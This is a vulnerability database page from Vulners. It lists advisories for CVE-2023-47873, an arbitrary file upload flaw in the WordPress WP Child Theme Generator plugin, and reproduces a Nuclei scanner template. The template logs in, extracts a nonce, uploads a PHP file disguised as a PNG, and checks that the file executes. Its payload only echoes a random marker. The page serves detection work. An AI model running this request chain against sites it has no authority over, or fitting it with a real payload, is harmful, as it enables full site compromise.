| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2023-47873 | 18 Sep 202521:02 | – | circl | |
| WordPress Plugin WP Child Theme Generator 安全漏洞 | 26 Mar 202400:00 | – | cnnvd | |
| CVE-2023-47873 | 26 Mar 202420:34 | – | cve | |
| CVE-2023-47873 WordPress WP Child Theme Generator plugin <= 1.0.9 - Arbitrary File Upload vulnerability | 26 Mar 202420:34 | – | cvelist | |
| EUVD-2023-51963 | 26 Mar 202421:30 | – | euvd | |
| CVE-2023-47873 | 26 Mar 202421:15 | – | nvd | |
| CVE-2023-47873 | 26 Mar 202421:15 | – | osv | |
| WordPress WP Child Theme Generator Plugin <= 1.1.2 is vulnerable to Arbitrary File Upload | 20 Nov 202300:00 | – | patchstack | |
| PT-2024-13528 | 26 Mar 202400:00 | – | ptsecurity | |
| CVE-2023-47873 | 23 May 202501:57 | – | redhatcve |
id: CVE-2023-47873
info:
name: WordPress WP Child Theme Generator < 1.1.3 - Arbitrary File Upload
author: cysamu,Crux
severity: critical
description: |
Unrestricted Upload of File with Dangerous Type vulnerability in WEN Solutions WP Child Theme Generator.This issue affects WP Child Theme Generator- from n/a through 1.0.9.
impact: |
Authenticated administrators can upload arbitrary PHP files disguised as theme files to execute malicious code on the WordPress server, enabling complete site compromise.
remediation: Update to version 1.1.3 or later
reference:
- https://github.com/certuscyber/cve-pocs/tree/main/CVE-2023-47873
- https://patchstack.com/database/wordpress/plugin/wp-child-theme-generator/vulnerability/wordpress-wp-child-theme-generator-plugin-1-0-8-arbitrary-file-upload-vulnerability
- https://en-ca.wordpress.org/plugins/wp-child-theme-generator/
- https://patchstack.com/database/vulnerability/wp-child-theme-generator/wordpress-wp-child-theme-generator-plugin-1-0-8-arbitrary-file-upload-vulnerability?_s_id=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2023-47873
cwe-id: CWE-434
epss-score: 0.02276
epss-percentile: 0.80965
cpe: cpe:2.3:a:wensolutions:wp_child_theme_generator:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 4
vendor: wensolutions
product: wp_child_theme_generator
framework: wordpress
publicwww-query: "/wp-content/plugins/wp-child-theme-generator/"
tags: cve,cve2023,wordpress,wp-plugin,wp,wp-child-theme-generator,file-upload,authenticated,intrusive,rce,vuln
flow: http(1) && http(2) && http(3) && http(4)
variables:
string: "{{to_lower(rand_base(8))}}"
name: '{{to_lower(rand_text_alpha(6))}}'
childauthor: "{{to_lower(rand_base(4))}}"
description: "{{to_lower(rand_base(5))}}"
impact: |
Authenticated administrators can upload arbitrary PHP files disguised as theme files to execute malicious code on the WordPress server, enabling complete site compromise.
filename: '{{to_lower(rand_text_alpha(6))}}'
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- 'len(body)==0'
- 'status_code == 302'
- 'contains(header, "wordpress_logged_in_")'
condition: and
internal: true
- raw:
- |
GET /wp-admin/themes.php?page=custom-child-theme HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "Child Theme Gen")'
condition: and
internal: true
extractors:
- type: regex
name: nonce
group: 1
regex:
- name="wp-easy-nonce" value="([0-9a-zA-Z]+)"
part: body
internal: true
- raw:
- |
POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----geckoformboundaryfbbbd275d3ea5d30b67d44817dde50f8
------geckoformboundaryfbbbd275d3ea5d30b67d44817dde50f8
Content-Disposition: form-data; name="childtheme"
{{name}}
------geckoformboundaryfbbbd275d3ea5d30b67d44817dde50f8
Content-Disposition: form-data; name="childauthor"
{{childauthor}}
------geckoformboundaryfbbbd275d3ea5d30b67d44817dde50f8
Content-Disposition: form-data; name="description"
{{description}}
------geckoformboundaryfbbbd275d3ea5d30b67d44817dde50f8
Content-Disposition: form-data; name="fileUpload"; filename="{{filename}}.php"
Content-Type: image/png
<?php echo "{{string}}";?>
------geckoformboundaryfbbbd275d3ea5d30b67d44817dde50f8
Content-Disposition: form-data; name="wp-easy-nonce"
{{nonce}}
------geckoformboundaryfbbbd275d3ea5d30b67d44817dde50f8
Content-Disposition: form-data; name="action"
child_theme
------geckoformboundaryfbbbd275d3ea5d30b67d44817dde50f8
Content-Disposition: form-data; name="custom-child-create"
Create Child Theme
------geckoformboundaryfbbbd275d3ea5d30b67d44817dde50f8--
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(location, "error_type=updated")'
condition: and
internal: true
- raw:
- |
GET /wp-content/themes/{{name}}/screenshot.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "{{string}}")'
condition: and
# digest: 4a0a00473045022068fe989de32b302fcb63c140bed5445dac626bb1c529a42b9c98f5e4385aaad10221008595090c8a1662cc76e5a65b807fc337999831de6cf45d7e9b4f5b0bbee77785:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation